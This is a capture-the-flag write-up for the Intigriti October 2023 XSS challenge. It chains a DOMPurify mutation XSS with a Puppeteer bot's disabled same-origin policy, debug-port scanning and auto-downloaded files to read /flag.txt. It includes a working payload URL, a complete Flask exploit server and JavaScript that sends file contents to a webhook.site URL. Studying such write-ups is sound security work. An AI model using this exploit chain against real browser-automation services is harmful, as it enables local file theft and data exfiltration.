keyboard_arrow_up

title: Intigriti October 2023 - XSS Challenge
date: Nov 01, 2023
tags: Writeup Web XSS


Intigriti October 2023 - XSS Challenge


Find the flag and win Intigriti swag.

Author: Me :3

Rules:

The solution...

Test your payloads down below and on the challenge page here!

Let's pop an alert!



Table of content


🕵️ Website preview

site.gif

💥 XSS

Using the source code available at the bottom of each page, it is possible to gather the following information:

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Intigriti XSS Challenge - <%- title %></title>
app.use((req, res) => {
    res.status(404);
    res.render("404", { title: getTitle(req.path) });
})
const getTitle = (path) => {
    path = decodeURIComponent(path).split("/");
    path = path.slice(-1).toString();
    return DOMPurify.sanitize(path);
}

Even though a state-of-the-art sanitizer (DOMPurify) is in use, this situation is quite special due to:

Why are these details important?

Because this is a typical server-side > client-side mutation XSS situation!

How does this kind of issue occur?

To understand how a mXSS can occur, it is crucial to understand the discrepancy between what the sanitizer (DOMPurify) sees against what the client receives:

From the sanitizer perspective, it's unaware that the current sanitizing input is nested within a <title> tag while the browser will receive the whole page once.

This parsing differential allows exploitation of the browser's parsing priority for the <title> tag, enabling a mutation XSS attack!

More information about this type of vulnerability can be found here.


Therefore, this approach won't work directly in the challenge context because the getTitle function splits the user input on /. To bypass this restriction, it is important to understand how does DOMPurify works:

1. Generate a DOM Tree using new DOMParser().parseFromString(unsafe_HTML, "text/html") (ref).
2. Sanitize the DOM Tree based on the provided configuration (ref).
3. Serialize the DOM Tree back to a string using body.innerHTML (ref).

Thanks to the innerHTML serialization, HTML attributes value are HTML decoded!

var dom_tree = new DOMParser().parseFromString(`<p id="<&sol;title><h1>HELLO :)</h1>"></p>`, "text/html");
dom_tree.body.innerHTML;

decoded_attr.png

Taking advantage of this, navigating to /<p id="<%26sol%3Btitle><script>alert()<%26sol%3Bscript>"> result in an XSS 🔥

xss.png


🛠️ Devtools

For this month's challenge, getting an XSS isn,'t enough to solve the challenge. In fact, you must also read /flag.txt.

But, how can a local file be accessed from a client side XSS?

Indeed, in the context of orchestrated browsers, there are several ways to accomplish this:

Unfortunately, none of those issues would work in the challenge context (chromium 117). Thus, to achieve the local file disclosure, it is important to focus on the bot's configuration:

const browser = await puppeteer.launch({
    headless: "new",
    ignoreHTTPSErrors: true,
    args: [
        "--no-sandbox",
        "--ignore-certificate-errors",
        "--disable-web-security"
    ],
    executablePath: "/usr/bin/chromium-browser"
});

From the above snippet, we can get see that --disable-web-security is enabled! This is a crucial part of the exploitation as it disables the Same Origin Policy, allowing Javascript to interact with any website. For example:

const leak_url = "https://webhook.site/332b8b7a-9a08-4c3e-bb5d-59bf9b1bc95f";

fetch("https://mizu.re").then(d => d.text()).then((d) => {
    // Leak cross-site content
    fetch(leak_url, { method: "POST", body: d });
})

So, if we fetch file:///flag.txt we can get the flag?

Not really :/ Nowadays, browser security limits file:/// access, even if the Same Origin Policy is disabled.

Thus, if it isn't a file:/// to file:/// request, it won't work!

Then, how could we abuse this?

In fact, there's still an interesting browser feature: devtools debug port ❤️

This can be use to remotely control a chromium browser and it is enabled by default on puppeteer! This HTTP service is open randomly port inside 30000 - 50000 (setting it to 0 = random) and can be used to: (ref)

So, due to the --disable-web-security flag, it is possible to communicate freely with the devtools debug port! However, this is where it becomes tricky. Indeed, since chromium 115, it is not possible to communicate with the websocket if --remote-allow-origins is not in use, which is the case of the challenge.

Therefore, if we could somehow control a file on the local system, we would be able to:

1. Use devtools debug port to open file:///.
2. Trigger an XSS on file:///.
3. Abuse --disable-web-security to read and leak /flag.txt.


📄 LFI

The easiest way to control file on the local system, is to abuse auto-download features which is enabled by default on the new headless mode of chromium! 👀

Here is a small code to do it:

from flask import Flask, Response
app = Flask(__name__)

@app.route("/dl/<path:path>")
def download(path):
    return Response("mizu :p", mimetype="application/octet-stream;charset=utf-8")

if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

Sending the bot to /dl/poc.html will download the file to /home/challenge/Downloads/poc.html.

Then, in order to get an the flag, we just need to embed the flag into an iframe and read it using javascript :p

<iframe src="file:///flag.txt"></iframe>
<script>
    const exfilt_url   = "https://webhook.site/332b8b7a-9a08-4c3e-bb5d-59bf9b1bc95f";
    fetch(`${exfilt_url}?log=starting_exploit`);

    setTimeout(() => {
        var x = btoa(frames[0].window.document.body.innerHTML);
        fetch(`${exfilt_url}?file_content=${x}`);
    }, 200)
</script>


💥 TL/DR: Chain everything together

1. Auto download a file → default path /home/<user>/Downloads/<file-name>.
2. Find debug port.
3. PUT to open downloaded file:/// in a new tab.
4. Use file context + no SOP -> iframe to leak local file content.

from flask import Flask, Response
from time import sleep

app = Flask(__name__)
app.config["DEBUG"] = True
exfilt_url   = "https://webhook.site/332b8b7a-9a08-4c3e-bb5d-59bf9b1bc95f"
exploit_path = "file:///home/challenge/Downloads/poc.html"
wanted_page  = "file:///flag.txt"

@app.route("/dl/<path:path>")
def download(path):
    return Response("""
    <iframe src="%s"></iframe>
    <script>
        const exfilt_url   = "%s";
        fetch(`${exfilt_url}?log=starting_exploit`);

        setTimeout(() => {
            var x = btoa(frames[0].window.document.body.innerHTML);
            fetch(`${exfilt_url}?file_content=${x}`);
        }, 200)
    </script>
    """ % (wanted_page, exfilt_url)
    , mimetype="application/octet-stream;charset=utf-8")

@app.route("/wait")
def wait():
    sleep(30)
    return "OK!"

@app.route("/")
def index():
    return """
    <img src="/wait">
    <script>open("/dl/poc.html")</script>
    <script>
        const exfilt_url   = "%s";
        const exploit_path = "%s";

        // Open poc.html
        const run_exploit = (p) => {
            fetch(`${exfilt_url}?log=openning_file&path=${exploit_path}`);
            fetch(`http://localhost:${p}/json/new?${exploit_path}`, {
                method: "PUT"
            })
        }

        // Search port
        const test_port = (p) => {
            var script = document.createElement("script");
            script.src = `http://localhost:${p}/json/list`;

            script.onload = () => {
                fetch(`${exfilt_url}/port=${p}`);
                run_exploit(p);
            }
            script.onerror = () => {
                if (p %% 1000 == 0) {
                    fetch(`${exfilt_url}/log=FAILLURE&port=${p}`);
                }
                test_port(p+1);
            }

            document.body.appendChild(script);
        }

        fetch(`${exfilt_url}?log=start_port_fuzzing`);
        test_port(30000);
    </script>
    """ % (exfilt_url, exploit_path)

if __name__ == "__main__":
    app.run("0.0.0.0", 5000)


🚩 Retrieve the flag

Run the python script and navigate to: /api/report?url=/<p id="<%26sol%3Btitle><script>location.href='http:%26sol%3B%26sol%3B172.17.0.1:5000'<%26sol%3Bscript>">.

Flag: INTIGRITI{Pupp3t3eR_wIth0ut_S0P_LFI} 🎉